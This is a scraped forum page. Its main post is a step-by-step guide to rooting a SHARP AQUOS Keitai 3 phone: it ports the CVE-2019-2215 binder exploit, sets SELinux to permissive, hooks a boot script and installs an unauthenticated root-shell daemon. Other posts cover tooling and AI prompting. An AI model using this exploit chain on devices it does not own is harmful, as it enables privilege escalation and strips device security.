-
先定边界,再做实现。
明确目标、不做什么、完成标准;新增需求先判断是否属于核心职责,能通过扩展解决的能力优先外置。 -
共享事实只维护一份。
版本、限制、协议等共同依赖的信息应有唯一权威来源,其他位置通过引用或生成获取,避免人工同步。 -
按变化原因划分模块。
经常一起变化的逻辑放在一起,独立变化的逻辑分开;入口负责组织调用,模块各自承担清晰职责。 -
让依赖、状态和生命周期显式可见。
减少循环依赖与隐式全局,明确启动、停止、连接和清理过程,使状态可查询、问题可定位。 -
先定义契约,也定义失败。
对外接口应明确输入、输出、错误、资源限制与兼容性;调用方应能区分执行失败、尚未完成和已经生效。 -
把重复约束变成自动检查。
能生成的内容不手改,能机械验证的一致性不依赖记忆;生成过程应可重复,写入失败不能破坏已有内容。 -
让文档各司其职。
分清入门、设计、接口、验证和交接信息,同一事实避免重复维护;历史内容明确归档,随交付物提供的说明必须独立可用。 -
让验证方式匹配真实风险。
纯逻辑用快速测试,跨环境行为用真实集成验收,复杂交互辅以人工检查;简化环境中的通过不能替代用户环境中的证据。 -
验证具体结果,也验证失败原因。
不只检查是否成功,还要确认关键输出、状态变化和预期错误;区分环境未就绪与产品缺陷,让失败能够复现。 -
把变更做成可审查、可交接的闭环。
分开重构与行为变化,同步实现、契约、验证和说明;发布前核对交付内容,记录已知限制,并保留可追溯的版本。
帖子
-
AI 新建项目 目录结构基础 约束
-
SHARP NP805SH ROOT 笔记
设备:SHARP SG805SH/NP805SH/AQUOS ケータイ3
平台:Qualcomm MSM8909 | Android 8.1.0 | Linux 3.18.71-perf
结果:重启自动生效的完整 capabilities root,无需再运行 exploit。
用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → (SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程)永久化。1. 资源
资源 地址 说明 Sharp OSS 页面 https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html必须用**商品名「AQUOS ケータイ3」**检索,型番 SG805SH搜不到内核源码 http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz171,646,693 字节,md5 d0a7aa6d16cf9441731f61697660f88dARM 工具链 AOSP prebuilts arm-eabi-4.8(android-8.1.0_r1分支)与设备编译器版本一致 CVE-2019-2215 报告 Project Zero issue 1942 Jann Horn & Maddie Stone ARM32 移植 ★ https://github.com/flipphoneguy/root-sonim-xp3800946 行,含 docs/arm32-port.md,本文 exploit 基于它3.18 PoC 参考 CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.183.18 分支专用 基础 PoC timwr/CVE-2019-2215流传最广的版本 2. 复现官方内核
没有正确的内核符号地址无从定位 exploit ,
selinux_enforcing与cred偏移。MSM8909 已 EOL,但 Sharp 公开了源码。2.1 环境
- WSL2 / Ubuntu 22.04(
.wslconfig设networkingMode=mirrored) arm-eabi-4.8(AOSP prebuilts)、pahole、secilc
2.2 配置与编译
设备原厂内核配置位于
/proc/config.gz(4375 行,世界可读),直接套用:tar xzf AQUOS_keitai3_S0018.tar.gz \ "AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18" cp device.config ./msm-3.18/.config make ARCH=arm CROSS_COMPILE=$TC olddefconfig配置:
CONFIG_RANDOMIZE_BASE ❌ → 无 KASLR,内核地址固定 CONFIG_SLAB_FREELIST_RANDOM ❌ → 堆风水可控 CONFIG_DEBUG_INFO ✅ → vmlinux 自带 DWARF CONFIG_KALLSYMS_ALL ✅编译命令:
export KBUILD_BUILD_USER=sharp export KBUILD_BUILD_HOST=TG840314 export KBUILD_BUILD_VERSION=1 export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019" # ★ 必须逐字一致 HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon" make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux四个编译问题:
scripts/gcc-wrapper.py是 Python2 → 命令行覆盖CC=${TC}gcc- dtc 报
yylloc多重定义(GCC10+ 默认-fno-common)→HOSTCFLAGS补-fcommon msm_sensor.h找不到头文件 →sensor/io/Makefile补-If_midi.c找不到u_f.h→drivers/usb/gadget/Makefile补-I
关键:
KBUILD_BUILD_TIMESTAMP必须与设备构建时间逐字一致。版本串长度哪怕差一个字符,.data段整体偏移,符号地址全废。2.3 一致性验证(决定性一步)
strings vmlinux | grep -m1 'Linux version' # 期望: # Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) ) # #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019版本串逐字节一致还不够。设备
/proc/kallsyms有 131,900 条符号,本地System.map有 128,305 条,最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对:符号 本地 System.map 设备运行值 commit_credsc0138e84 c0138e84 
selinux_enforcingc146ef24 c146ef24 
init_credc13171d0 c13171d0 
sys_call_tablec0106b84 c0106b84 
3. 导出结构体偏移
CONFIG_DEBUG_INFO=y的 vmlinux 自带完整 DWARF,直接用pahole读:pahole -C binder_thread vmlinux pahole -C task_struct vmlinux pahole -C thread_info vmlinux pahole -C cred vmlinux实测结果:
struct binder_thread size 0x134 (308) → 落在 kmalloc-512 wait_queue_head_t wait 0x50 struct task_struct *task 0x130 ← UAF 后残留,可泄露 struct task_struct void *stack 0x004 const struct cred *cred 0x3AC ← ★ 需要替换 struct thread_info addr_limit 0x008 struct cred uid 0x004, securebits 0x024, cap_inheritable 0x028, cap_permitted 0x030, cap_effective 0x038, cap_bset 0x040, cap_ambient 0x0484. 移植 CVE-2019-2215
4.1
CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计
drivers/staging/android/binder.c确认:poll_wait(filp, &thread->wait, wait); // 脆弱写法依然存在 // binder_thread_release() 里缺少: // wake_up_poll(&thread->wait, POLLHUP | POLLFREE);检查项 结果 POLLFREE出现次数0 EPOLLFREE出现次数0 /dev/binder权限crw-rw-rw-(任意进程可打开)对照:较新机型(如 SH-03M)的源码里
POLLFREE存在,走不通。4.2 只改 2 个常量
基于
flipphoneguy/root-sonim-xp3800的 ARM32 移植版,仅需改两处:#define SELINUX_ENFORCING 0xc146ef24ul /* 原值 0xc1310ae8 */ #define OFFSET__task_struct__cred 0x3AC /* 原值 0x39C */其余偏移与本机完全一致:
BINDER_THREAD_SZ 0x134 WAITQUEUE_OFFSET 0x50 IOVEC_ARRAY_SZ 38 (0x134 / 8) IOVEC_INDX_FOR_WQ 10 (0x50 / 8,ARM32 下正好对齐)4.3 编译
arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c # 产物:673,424 字节,ELF32 ARM,静态链接ARM32 对齐、管道时序、两阶段泄露的细节见仓库
docs/arm32-port.md,不再展开。5. 获取临时 Root
adb push exploit_arm /data/local/tmp/ adb shell chmod 755 /data/local/tmp/exploit_arm adb shell /data/local/tmp/exploit_arm id预期输出:
[*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH) [*] start uid=2000 euid=2000 [+] ===== ROOT ===== uid=0 euid=0 gid=0 uid=0(root) gid=0(root) groups=0(root) getenforce → Permissive
️ exploit 存在竞态,约 1/5 概率导致内核 panic 重启(只会重启,不会变砖)。多试几次即可。
临时 root 只在本次进程树内有效,重启就没了——真正的工作在永久化。6. 永久化:三件套
6.0
Android 权限是三层叠加,缺任何一层都拿不到「完整 root」:
层 障碍 现象 解法 SELinux(domain) shell域没有capability setuidavc: denied { setuid },想写enforce又被拒(鸡生蛋)改策略,把 shell/install_recovery域设为 permissivecapability(bounding set) adbd的 bounding set 只有0xc0setuid 二进制无论如何突破不了 让 init 启动守护进程,继承完整的 0x3fffffffffDAC(uid) 需要 root uid — 前两者解决后自然获得 实测证据:
adbd(shell): CapBnd = 00000000000000c0 ← 只有 setgid / setuid init(pid 1): CapBnd = 0000003fffffffff ← 完整 38 个能力这解释了为什么单纯做一个 setuid
su不行——uid 变成 0 但能力位不够,mount、读/data/data等依旧失败。6.1 A:SELinux 策略改造
可行性前提:
/system无 dm-verity、无 AVB;init 优先加载预编译策略;plat 与 vendor 侧的.sha256内容相同(都指向未修改的 CIL),init 判定「预编译策略有效」直接加载/vendor里替换的那份。# 1) 用临时 root 拉取原始策略集合 adb shell "/data/local/tmp/exploit_arm sh -c \ 'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'" adb pull /data/local/tmp/selinux ./selinux adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin # 2) 在 plat_sepolicy.cil 末尾追加两行 cat >> selinux/plat_sepolicy.cil <<'EOF' (typepermissive shell) (typepermissive install_recovery) EOF # 3) 编译(★ 策略版本必须 30,对应 3.18 的 POLICYDB_VERSION_MAX) secilc -c 30 -o final_policy.bin \ selinux/plat_sepolicy.cil \ selinux/mapping/27.0.cil \ selinux/nonplat_sepolicy.cil # 产物:435,814 字节风险控制:一定要先在 PC 侧用
secilc完整编译验证通过再推到设备。策略语法错误可能导致无法开机。6.2 B:开机钩子 install-recovery.sh
/init.rc里有一个 oneshot 服务,以 init 身份执行脚本(没有 seclabel,不做域转换):service flash_recovery /system/bin/install-recovery.sh class main oneshot脚本末尾追加,即可拿到完整 bounding set,顺便设 permissive:
# --- 永久 root:设 permissive + 启动 root shell 守护进程 --- echo 0 > /sys/fs/selinux/enforce /system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &保留原逻辑只追加这段;权限 750,标签
u:object_r:install_recovery_exec:s0。6.3 C:root 守护进程 rootd
极简静态 C 程序(591,088 字节),监听
127.0.0.1:<port>,每个连接 fork 一个 shell:bind(... INADDR_LOOPBACK ...); accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。
arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c7. 部署与验证
7.1 部署顺序(全部通过临时 root 执行)
# 0) 推入产物 adb push final_policy.bin /data/local/tmp/final.policy adb push rootd /data/local/tmp/rootd adb push su_arm /data/local/tmp/su_arm # 1) 替换 SELinux 策略(先备份原始策略) adb shell "/data/local/tmp/exploit_arm sh -c '\ cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \ mount -o remount,rw /vendor; \ cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \ chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \ chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \ chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \ sync; mount -o remount,ro /vendor'" # 2) 修改开机钩子(先备份原文件,再追加 6.2 那段) adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \ printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \ chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \ chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \ sync; mount -o remount,ro /system'" # 3) 部署 rootd 与备用 su adb shell "/data/local/tmp/exploit_arm sh -c '\ mount -o remount,rw /system; \ cp /data/local/tmp/rootd /system/xbin/rootd; \ cp /data/local/tmp/su_arm /system/xbin/su; \ chown 0:0 /system/xbin/rootd /system/xbin/su; \ chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \ chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \ sync; mount -o remount,ro /system'" # 4) 重启(此后不再需要 exploit) adb reboot7.2 验证
adb forward tcp:2323 tcp:2323 # 连接 127.0.0.1:2323,即得 root shell期望:
uid=0(root) gid=0(root) groups=0(root) context=u:r:install_recovery:s0 CapEff: 0000003fffffffff ← 完整能力 CapBnd: 0000003fffffffff ← 完整 bounding set mount -o remount,rw /system → OK ls /data/data/com.android.settings → OK cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds8. Root 之后怎么用
adb forward tcp:2323 tcp:2323PowerShell 一行示例:
$c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323) $s = $c.GetStream() $w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true $w.WriteLine("id") Start-Sleep 2 (New-Object IO.StreamReader($s)).ReadToEnd()两条备用通道:setuid su(uid=0,能力受限)
adb shell /system/xbin/su id;exploit(完整 root,约 1/5 概率 panic)adb shell /data/local/tmp/exploit_arm id。9. 设备上的文件清单
路径 内容 大小 / 权限 /vendor/etc/selinux/precompiled_sepolicy重编译 permissive 策略 435,814 字节 /system/bin/install-recovery.sh开机钩子(原逻辑 + 三行追加) 750 /system/xbin/rootdroot shell 守护进程 591,088 字节 /system/xbin/susetuid root(备用) 590,704 字节(4755) /data/local/tmp/exploit_armCVE-2019-2215 exploit(备用) 673,424 字节 回滚备份:
/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。10. 回滚
通过 root shell 执行:
mount -o remount,rw /vendor cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy mount -o remount,ro /vendor mount -o remount,rw /system cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh rm -f /system/xbin/rootd /system/xbin/su chmod 750 /system/bin/install-recovery.sh mount -o remount,ro /system11. 安全提醒
Root 之后设备安全性明显下降:SELinux 全局 Permissive;
shell/install_recovery域在策略层面被设为 permissive;/system/xbin/su是 setuid-root,任何能执行它的进程都能拿到 uid 0;rootd在127.0.0.1:2323提供无认证 root shell;/vendor与/system已被修改。请只在自己的设备上操作,需要恢复请见第 10 节。12. 复盘:为什么这台机器能成
- 「设备真名」决定检索成败——型番
SG805SH一无所获,商品名「AQUOS ケータイ3」就能找到官方内核源码; - EOL 芯片的补丁缺口——MSM8909 停更,厂商没有 backport binder 补丁,CVE-2019-2215 可用;
- Android 权限是三层叠加——DAC / capability bounding set / SELinux,任缺一层都拿不到「完整 root」;本文分别用 setuid、init 启动、策略修改把三层补齐;
- 精确复现内核是前提——和真机逐字节对齐的符号地址,exploit 才不需要盲猜;
CONFIG_DEBUG_INFO=y的 vmlinux 是宝库——pahole直接读出所有结构体偏移。
本文为安全研究与设备修复目的撰写,所有操作均在自己的设备上进行。
- WSL2 / Ubuntu 22.04(
-
Win11 关闭 WSAIFabricSvc AI 服务
关闭 WorkloadsSessionHost / WSAIFabricSvc
停用并禁用
WSAIFabricSvc,清理WorkloadsSessionHost进程,即可彻底关闭本地 AI 推理运行时,Recall、Click to Do、语义搜索等本机 AI 功能,可逆。<!--more-->
操作
PowerShell 粘贴以下命令
Start-Process powershell -Verb RunAs -ArgumentList '-NoExit','-Command','Set-Service WSAIFabricSvc -StartupType Disabled; Stop-Service WSAIFabricSvc -Force; Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force'若已在管理员终端中,直接执行:
Set-Service WSAIFabricSvc -StartupType Disabled Stop-Service WSAIFabricSvc -Force Get-Process WorkloadsSessionHost -EA 0 | Stop-Process -Force验证 / 恢复
Get-Service WSAIFabricSvc | Format-List Name,StartType,Status Set-Service WSAIFabricSvc -StartupType Automatic Start-Service WSAIFabricSvc -
RE: 哈基 项目推荐
开源 windows 防火墙
GitHub - tnodir/fort: Fort Firewall for Windows
Fort Firewall for Windows. Contribute to tnodir/fort development by creating an account on GitHub.
GitHub (github.com)
-
RE: 哈基 项目推荐
GitHub - chenglou/pretext: Fast, accurate & comprehensive text measurement & layout
Fast, accurate & comprehensive text measurement & layout - chenglou/pretext
GitHub (github.com)
超高性能的 js 网页文字动态排版工具
-
AI Agent 协作:提示词工程与免费网页对话 AI
AI agent 协作是复合能力:提示词工程、领域知识、管理能力、评估迭代、工具理解。管理视角是好框架,但落到执行,提示词是把目标变成 agent 输入的唯一通道,两者不是对立而是分工。比争论归因更有用的是可操作的流程:不熟悉的架构先用免费网页 AI 摸清整个流程、确定技术栈,输出完整 plan 再派给 agent;出了问题先和免费 AI 会诊,再把结论精确转达。AI 既放大表达漏洞,也放大认知上限——所以把想清楚的成本花在免费的地方,把执行的成本花在想清楚之后。
一、两类工具的成本结构不同
对话 AI 和 agent 的差异,本质不是“聊天和干活”,而是试错成本不同。
网页对话 AI(免费档的 DeepSeek、豆包、ChatGPT 之类)免费或包月,一轮一纠偏,说错了重来没有额外代价。适合陪你想清楚。
agent 按 token 烧钱,自主跑几十步,走偏了错误会复利,发现越晚代价越大。适合执行已经想清楚的事。
推论:没想清楚的事,先跟对话 AI 想清楚;想清楚的方案,交给 agent 执行。这是参谋与执行的分工,也是本文的核心。
边界:熟悉的代码库、小的可逆改动,可以让 agent 直接干。摸底流程是给陌生领域和大决策用的。二、核心流程:先摸底,再定方案,后派活
以「给内部系统对接钉钉审批流,但你从没做过」为例。
1. 用免费对话 AI 摸清流程
问的问题比得到的答案重要:
- 主流实现方式有哪几种?各自的代价?
- 需要哪些 API、SDK、权限申请?
- 典型的坑在哪?
- 描述一个典型架构和完整调用链。
警惕一点:对话 AI 有知识截止日期,SDK 版本、API 名称、参数可能记错。关键事实去官方文档核对。它给的是地图,不是路况。
但是现在大多数都带有网络搜索功能,询问最新。2. 收敛技术栈和架构
让它对比方案,逼它给出选型理由(「方案 A 在我的场景下会撞上什么问题」),最后你拍板。决策留在人手里。
3. 产出具体 plan
让对话 AI 起草分步计划,每步带验收标准。你自己过一遍,砍掉不认同的步骤。此时的 plan 应具体到:做什么、用什么、怎么算做完。
4. 派活给 agent
plan 之外,任务单里必须写环境事实:语言版本、已有依赖、相关文件位置、不能碰的东西。agent 不知道你的环境,它会拿训练数据里的“典型环境”脑补——大量幻觉来源于此。
5. 出问题:先会诊,再精确转达
agent 报错或产出不对时,不要丢一句「再试一次」。把报错原文和相关代码贴给免费对话 AI 会诊,得出结论后,压缩成明确指令转达:
token 获取逻辑有误:改为每次请求前检查 access_token 过期时间,过期先刷新。只改 auth.py,其他不动。
绕这一道的原因:- agent 自主试错烧 token 和时间,且可能在错误方向上跑远;
- 会诊过程会产生大量已否定的思路,整段贴过去会污染上下文;
- 会诊逼你把问题想清楚,转达时自然精确。
精确转达的原则:给结论和处方,不给过程;给报错原文,不给你的转述。
三、任务单怎么写
提示词工程落到 agent 场景,就是一张像样的任务单。
差的写法:帮我加个登录功能。
好的写法:
目标:为现有 FastAPI 项目添加 JWT 登录。 现状:结构见 README;用户表在 app/models/user.py;已用 sqlalchemy。 范围:只新增 auth 相关文件,不改数据库 schema。 验收:POST /login 返回 token;GET /me 用 token 鉴权通过;新增 pytest 测试全绿。 约束:用 pyjwt,不引入新框架。 流程:先列出实施步骤和涉及文件,我确认后再写代码。六个字段对应的正是经典管理问题:目标(要什么)、现状(上下文)、范围(授权边界)、验收(怎么算完成)、约束(红线)、流程(检查点)。提示词工程和管理能力在一张任务单上汇合。
验收标准最考验领域知识:你不知道什么是「对」,就写不出可测试的标准,也就永远无法验收。
两个高性价比技巧:- 复述确认:让 agent 先复述它理解的任务和步骤,确认后再执行。目标错位在最便宜的时候被发现。
- 先方案后动手:任务单末尾加一句「先给方案,我确认后再改代码」。这是人工批准门禁的提示词实现,既避免微操,也避免甩手。
四、上下文管理
上下文是稀缺资源,管理它就是管理注意力。
- 给相关的,不给全部。贴三个关键文件,胜过丢整个仓库。
- 记决策,不记流水账。会话结束让 agent 总结「已确定的事项」,下个会话带摘要进场,不带几十轮聊天记录。
- shorthand 有效,但依赖长期协作积累。新会话、新 agent,别默认它听得懂你的黑话。
五、失败诊断:症状 → 层级 → 处方
Agent 失败先分层再动手,避免把模型能力问题归咎于自己的提示词,反之亦然。
症状 层级 处方 产出与目标南辕北辙 目标层 重写目标与验收;用复述确认 方向对,细节错 提示层 补上下文:相关代码、接口、示例 编造不存在的 API 或参数 模型层 贴官方文档片段、锁定版本;或换模型 工具调用失败、文件没改上 工具层 查权限、路径、配置 前几步对,越跑越偏 流程层 任务太大,拆步、加检查点 同一处反复改不收敛 评估层 给可测的验收标准,贴报错原文 六、管理类比的适用边界
顺手说清:agent 无动机、无跨会话记忆、不随协作成长,所以激励、培养、组织政治这些管理要素不适用。适用的部分是目标设定、授权边界、检查点、验收标准——而它们恰恰都要通过提示词落地。
七、实践清单
- 陌生领域:先用免费对话 AI 摸底,官方文档核对版本和 API。
- 技术栈、架构:会诊收敛,人拍板。
- 派活前:写六字段任务单,验收标准必须可测试。
- 大任务:拆步、设检查点,关键节点人工批准。
- 出错:先会诊,精确转达,不整段转贴聊天记录。
- 跨会话:带决策摘要,不带流水账。
- 反复修不好:先分层诊断,再考虑换模型或改流程。
- 对模型:不神化,不贬低,认识边界。
管理能力决定方向和稳定性,提示词能力决定每一环的执行质量。而想不清楚的问题,agent 不会替你想清楚,只会替你执行混乱。把想清楚的成本花在免费的对话里,把执行的成本花在想清楚之后。
-
RE: 哈基 项目推荐
GitHub - FreshRSS/FreshRSS: A free, self-hostable news aggregator…
A free, self-hostable news aggregator…. Contribute to FreshRSS/FreshRSS development by creating an account on GitHub.
GitHub (github.com)
-
Newppp 取名自随机
个人使用的代理工具,依赖UDP环境
模拟浏览器的数据流,TLS+内置双加密
占用极低,速度极快,网络环境较好时可以跑满千兆宽带下行
(测试为联通1000兆家庭宽带)只提供了http代理和socks5代理出口为,需要连接第三方客户端(V2ray等)进行分流等
-
RE: 哈基 项目推荐
GitHub - iOfficeAI/OfficeCLI: OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required.
OfficeCLI is the first and best Office suite purpose-built for AI agents to read, edit, and automate Word, Excel, and PowerPoint files. Free, open-source, single binary, no Office installation required. - iOfficeAI/OfficeCLI
GitHub (github.com)
-
RUST 代码审查 提示词 SKILL
角色
你是资深 Rust 代码审查员与自动重构工程师。对当前项目执行全流程代码审查:审查 → 计划 → 执行 → 验证 → 交付。不停留在“指出问题”,对确认安全、可验证、可回滚的问题直接修复。
三条铁律(凌驾于所有规则之上):- 安全优先:宁可少改,不可改错。任何修改必须可验证、可回滚。
- 证据驱动:每个结论必须附依据(代码位置、命令输出、文档引用)。未执行的验证如实标注“未执行/环境不支持”,严禁编造验证通过结果。
- 最小爆炸半径:一次只做一个逻辑变更;机械改动与语义改动严格分离;禁止计划外的“顺手修改”。
第一部分:执行流程(五阶段,阶段间设门禁)
阶段 0:环境探测与基线锁定(准入门槛)
项目画像:
- 形态:workspace / 单 crate / 库 / bin / Web 服务 / CLI / 嵌入式 / 含 FFI
- async 运行时:tokio / async-std / smol / 无异步;多线程或 current-thread
- 关键依赖与版本:serde、sqlx/diesel/sea-orm、axum/actix-web/warp/rocket、chrono/time、tracing/log、thiserror/anyhow
Cargo.toml:edition、rust-version(MSRV)、resolver、feature 组合、profiles(overflow-checks、panic、lto、strip)- 工具盘点:fmt / clippy / test / audit / deny / machete / semver-checks / miri / loom / fuzz / criterion。不可用工具明确标注**“环境不支持”**,对应验证门禁降级并记录在案,不得跳过验证或凭猜测修改
基线记录(任何修改前必须完成):
cargo fmt --all -- --check # 记录格式状态 cargo clippy --all-targets --all-features -- -D warnings # 记录现有警告清单 cargo test --all-features # 记录测试通过/失败基线 cargo tree -d && cargo machete # 依赖画像(如可用)- git:确认工作区状态,建议独立分支、每逻辑变更独立提交;无 VCS 环境则保存待改文件原始快照
- 准出门禁:基线编译失败或测试失败时,“修复基线”成为唯一 P0 任务;无法修复 → 终止自动修改,仅交付审查报告。禁止在坏基线上做功能性修改
- 范围裁剪:跳过
target/、vendor/、生成代码(protobuf/bindings 等),报告中注明未覆盖范围
阶段 1:只读审查(本阶段禁止任何代码修改)
- 按第二部分清单全量扫描;每条问题必须包含:位置(文件:行)、证据、类别、严重度、初步修复思路
- unsafe 逐块审计(规程见 §5.1)
- 所有不确定项直接进入“待确认”清单,禁止凭猜测定性
阶段 2:计划与风险评估
- 建立计划表(模板见第四部分),按 L0–L4 风险分级决定处置方式
- 执行顺序:unsafe 正确性/严重安全 > 数据一致性 > 功能 Bug > panic/崩溃 > 资源泄漏 > 性能 > 结构 > 可读性 > 风格
阶段 3:分批执行(每批 = 一个逻辑变更)
每项修改的固定流程:
- 改前确认影响面:调用方、trait 实现、feature 组合、serde/序列化格式
- 修改代码(同步更新注释、文档、测试)
cargo check快速验证编译- 执行该类改动的最低验证门禁(见第三部分验证矩阵)
- 通过 → 更新计划表状态;失败 → 允许修复一次;再失败 → 回滚本批次并标记待确认
新发现的问题一律登记计划表,不得顺手修。
阶段 4:全量回归门禁(终态须全部通过或如实说明)
cargo fmt --all -- --check cargo clippy --all-targets --all-features -- -D warnings cargo test --all-features # 含 doctest条件启用:含 unsafe →
cargo miri;改公共 API →cargo semver-checks;性能改动 → criterion 前后对比;依赖改动 →cargo audit/cargo deny。
与基线对比:警告数不增、测试数不减、既有失败不新增。阶段 5:终审与交付
- Diff 自审(见第三部分自审清单)
- 输出终审报告(模板见第四部分)
第二部分:审查清单
1. 错误与可靠性
- 逻辑错误、业务漏洞、条件判断错误、off-by-one(注意
..=闭区间与zip长度不匹配) - panic 风险:生产路径
unwrap()/expect()/panic!/unreachable!/todo!、不可信输入直接索引(改get())、assert!用于生产校验 - 吞错:
let _ =、.ok()丢弃错误、Result被静默忽略、#[must_use]被 allow 压制 ?传播链丢失上下文;From转换抹掉根因(source链是否保留)- 整数:debug panic / release wrap 差异、
as窄化(如i64 as i32)、除零与% 0;该用checked_*/saturating_*/wrapping_*的场景 - 边界:空 slice、空
String、0、usize上限、None传播 - 栈溢出风险:无界递归(解析嵌套结构)、大数组栈分配(应
Box/Vec) - 排序不变量:
sort_by比较器违反全序会 panic;f64::NaN参与比较/排序键 - 资源生命周期:
Drop语义与顺序、Box::leak、mem::forget、Box::into_raw无from_raw对应、panic 时回滚(Mutexpoisoning、事务回滚) panic = "abort"profile 下:panic 不解栈 →Drop不执行 → 回滚逻辑失效- 外部依赖(IO/数据库/网络)失败行为与失败回滚逻辑
2. 冗余与废弃
- 清理编译器与 Clippy 警告对应项:死代码、未使用的 import/变量/函数/模块
- 审查
#[allow(dead_code)]、#[allow(clippy::...)]是否仍必要(目标是移除压制原因,而非保留压制) - 未使用依赖(
cargo machete,stable 可用 /cargo udeps,需 nightly)与未使用 feature #[deprecated]API 调用与过时写法- 合并散落多处的重复逻辑、重复常量、重复判断
- 删除无实际用途的抽象层(无必要的 trait、泛型参数、包装类型)
3. 结构与可读性
- 命名符合 Rust API Guidelines:
snake_case函数、CamelCase类型、SCREAMING_SNAKE常量、getter 不加get_前缀、is_/has_布尔 - 模块组织:文件拆分合理性、
mod.rs与新式模块文件风格统一 - 函数过长、参数过多、嵌套过深;长
if let链改match match穷尽性;_通配分支是否掩盖新增枚举变体- 函数/模块/impl 块职责单一;依赖方向合理
- 保持项目现有架构风格,不为形式上的“优雅”过度重构
- 统一错误处理(thiserror/anyhow 边界)、日志、配置、返回值风格
4. 性能与资源
- 热点路径不必要的
.clone();Stringvs&strvsCow<'_, str>参数选择 - 内存分配:
Vec::with_capacity、复用 buffer、entryAPI、iterator → collect 中间 Vec → 再 iterator链路 Box/Rc/Arc选择合理;循环内Arc::clone- 锁的粒度与持有时间;
Arc<Mutex<T>>可否改原子操作或消息传递 - async 上下文阻塞:
std::thread::sleep、同步 IO、CPU 密集未用spawn_blocking - 数据库 N+1 查询、重复查询、不必要数据读取
Rc/Arc循环引用(用Weak打破)、静态集合无限增长- 分配失败处理:长生命周期服务的关键路径考虑
try_reserve - 性能优化必须以 profiling / criterion 基准或明确瓶颈为依据,拒绝无依据的微优化
5. 安全
5.1 unsafe 审计规程(逐块执行)
- 每个
unsafe块必须有// SAFETY:注释说明安全前提与不变量(可用 clippyundocumented_unsafe_blocks排查缺失) - 检查项:指针别名与可变性、生命周期、未初始化内存(
MaybeUninit::assume_init前置条件)、from_raw_parts(长度/对齐)、transmute(大小/布局/有效性)、set_len、get_unchecked边界论证、unsafe impl Send/Sync的不变量证明、原子 ordering 正确性、Pin不变量、#[repr(packed)]字段引用(UB)、static mut引用(edition 2024 已禁止)、panic 穿越extern "C"边界 - 结论四分类:① 合法且注释完备 ② 合法但缺注释 → 补注释 + 定向测试 ③ 存疑 → 待确认,不改 ④ 确认 UB → P0 修复或隔离
- 工具:
cargo geiger(依赖 unsafe 统计)、cargo miri(注意:不支持 FFI、环境受限)、自定义同步原语用loom模型检查、解析器用cargo-fuzz - 策略:unsafe 集中隔离在专用模块 + 不变量注释;确认无 unsafe 的 crate 加
#![forbid(unsafe_code)]固化 - 不得以“关闭安全检查”或引入 unsafe 解决安全问题
5.2 注入与输入校验
- SQL 注入:
format!拼接 SQL(改query!宏或参数绑定);动态表名/列名无法参数化 → 白名单校验 - 命令注入:参数以数组传递,禁
sh -c/cmd /C拼接用户输入;环境变量注入;Windows bat/cmd 参数转义陷阱 - 路径遍历:
Path::join遇绝对路径会覆盖基路径;过滤..与绝对分量;canonicalize+ 前缀校验存在 TOCTOU 竞态,关键场景改“先打开后校验”或O_NOFOLLOW;symlink 攻击;用户可控路径上的remove_dir_all - 反序列化 DoS:深嵌套(serde_json 默认递归上限 128,确认配置)、超大输入限长、解压炸弹(限制解压后大小)、正则回溯(
regexcrate 线性时间安全;回溯引擎需评估) - 网络流上
read_to_end→ 改take(limit)
5.3 机密与密码学
- 秘密比较用常数时间(
